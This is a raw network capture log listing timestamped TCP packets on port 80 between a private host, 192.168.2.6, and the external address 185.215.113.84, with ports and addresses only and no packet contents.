Oct 26, 2024 07:27:12.264413118 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.264420986 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264436960 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264436960 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.264446020 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264463902 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264467001 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.264472961 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264481068 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264487982 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.264487982 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264504910 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.264507055 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264524937 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264528036 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.264533043 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264547110 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.264548063 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264556885 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264564037 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264570951 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264571905 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.264581919 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264599085 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264601946 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.264616966 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264621019 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.264626026 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264640093 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.264642954 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264652014 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264659882 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264663935 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.264667988 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264691114 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.264691114 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264700890 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264703989 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.264708996 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264718056 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264730930 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.264731884 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264741898 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264755964 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264756918 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.264765024 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264774084 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264780045 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.264784098 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264816046 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.264822960 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.279108047 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279125929 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279134989 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279141903 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279151917 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279159069 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279169083 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279174089 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.279176950 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279203892 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.279225111 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.279247999 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279257059 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279272079 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279282093 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279299021 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.279321909 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.279328108 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279337883 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279345036 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279352903 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279367924 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.279386044 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.279413939 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279437065 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279469967 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279479027 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279480934 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.279486895 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279495955 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279510021 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.279534101 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.279567957 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279577017 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279591084 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279598951 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279607058 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279617071 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279618979 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.279632092 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.279635906 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279644966 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279654026 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.279660940 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279670000 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279689074 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.279695988 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.279702902 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279711962 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279719114 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279736042 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279745102 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279747963 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.279752970 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279755116 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.279762030 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279769897 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279778004 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279784918 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.279787064 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.279813051 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.279824972 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.280019999 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280029058 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280044079 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280051947 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280067921 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280070066 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.280077934 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280087948 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.280095100 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280116081 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.280174971 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280184031 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280199051 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280225039 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.280242920 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.280246973 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280256033 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280268908 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280277014 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280287027 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280303001 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.280304909 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280334949 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.280356884 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.280427933 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280436993 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280469894 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.280530930 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280540943 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280555010 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280563116 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280586004 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280594110 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280596972 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.280601978 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280611992 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280616999 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.280626059 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280633926 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280635118 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.280649900 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280663967 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.280668020 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280678034 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280678988 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.280695915 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280698061 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.280705929 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280714035 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280720949 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.280725002 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280734062 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280741930 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280745983 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.280750990 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280759096 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280766964 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280767918 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.280775070 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280782938 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280782938 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.280800104 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280807018 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280812979 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.280822992 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280832052 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.280838013 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280838966 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.280847073 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280858040 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.280864954 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280874014 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280884981 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.280889988 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280900002 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280913115 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.280931950 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280935049 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.280942917 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280957937 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280972004 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280980110 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280982018 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.280988932 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.280997038 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281002998 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.281007051 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281014919 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281021118 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.281024933 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281042099 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281047106 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.281049967 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281070948 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.281075001 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281084061 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281084061 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.281091928 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281100988 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281111956 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281117916 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.281121016 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281127930 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.281131983 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281140089 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281148911 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281157017 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281157017 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.281167984 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281176090 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281186104 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.281198025 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.281214952 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.281440020 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281449080 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281464100 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281472921 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281487942 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281488895 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.281497002 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281506062 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281513929 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.281513929 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281522989 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281533957 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.281564951 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.281595945 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281604052 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281611919 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281619072 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281626940 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281635046 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281639099 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.281644106 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281652927 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.281661987 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281671047 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281678915 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281682968 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.281687975 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281697035 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.281702995 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281725883 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.281744003 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281745911 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.281753063 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281768084 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281776905 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281790972 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281794071 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.281800985 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281809092 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281817913 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281817913 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.281826019 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281833887 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281837940 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.281841993 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281857014 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.281857967 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281876087 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281881094 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.281884909 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281893015 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281898975 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.281902075 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281912088 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281923056 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.281928062 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281935930 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281950951 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.281950951 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281960011 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281975985 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.281981945 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.281996965 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.282001019 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282022953 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.282044888 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.282239914 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282248974 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282263994 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282273054 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282289982 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.282314062 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.282399893 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282408953 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282423019 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282432079 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282445908 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.282447100 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282457113 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282469034 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.282471895 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282480955 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282495022 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282495975 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.282502890 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282516956 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.282517910 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282526970 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282537937 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.282550097 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282560110 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282562017 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.282567978 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282576084 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282588005 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.282592058 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282599926 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282608986 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282609940 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.282617092 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282624960 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282629013 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.282633066 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282655001 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.282659054 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282669067 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282676935 CEST	80	49991	185.215.113.84	192.168.2.6
